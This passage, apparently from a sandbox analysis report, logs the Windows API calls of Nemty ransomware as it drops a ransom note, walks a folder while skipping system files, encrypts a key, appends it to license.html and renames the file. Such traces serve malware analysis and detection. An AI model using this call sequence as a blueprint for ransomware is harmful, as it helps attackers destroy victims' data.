dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.513] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.513] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.514] CloseHandle (hObject=0x254) returned 1 [0172.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.515] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.516] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.516] CloseHandle (hObject=0x254) returned 1 [0172.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.516] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.517] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.517] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.517] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.517] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.517] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.517] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.518] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.518] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd11a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.518] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.519] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.519] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.519] Sleep (dwMilliseconds=0x5) [0172.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a7c2c30, dwHighDateTime=0x1d561e8)) [0172.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a7c2c30, dwHighDateTime=0x1d561e8)) [0172.534] GetLastError () returned 0xb7 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.534] GetLastError () returned 0xb7 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.534] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.534] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.534] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.534] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="fascEPNkQrQSGMchTBZCnjo5qRmnCR6g5C9yMH7GLiEJmiVwOCFmEeQSaL1aUaQx\r\ngU7kd134eMzN3bI+dK1a69xbyp/8zzgpO4fnvkv99xFhvTHjfdrpH2cCslLhJCeE\r\noHzvcnKTpWuF6ucd1nPA6AwaygobH/WgfO3uiARa0gpJbsi+DCvjYY7wQkrt0iF8\r\n+HBUpoZc32In5D4Dpeo0U9WIbNxCt74NCynLEDJnVG1FZvsAEZ6XZsNvuqPZbZim\r\nYz7cc6qGFPJWoIMHoVlinWaHX/uZH2fjmIe9TAIE6A45IBj9obScpTSKOhiVddTi\r\ntQf0h2i9ygUz1Gn18e6Sww==\r\n", pcchString=0x653e5dc) returned 1 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.535] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=53530) returned 1 [0172.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd110) returned 0x6352c48 [0172.535] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.535] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd110, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xd110, lpOverlapped=0x0) returned 1 [0172.540] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.540] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd110, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xd110, lpOverlapped=0x0) returned 1 [0172.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.540] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=53530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd11a [0172.540] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.540] CloseHandle (hObject=0x3b0) returned 1 [0172.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.541] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html._nemty_kgobjgd_")) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.541] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a776970, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.541] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.542] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 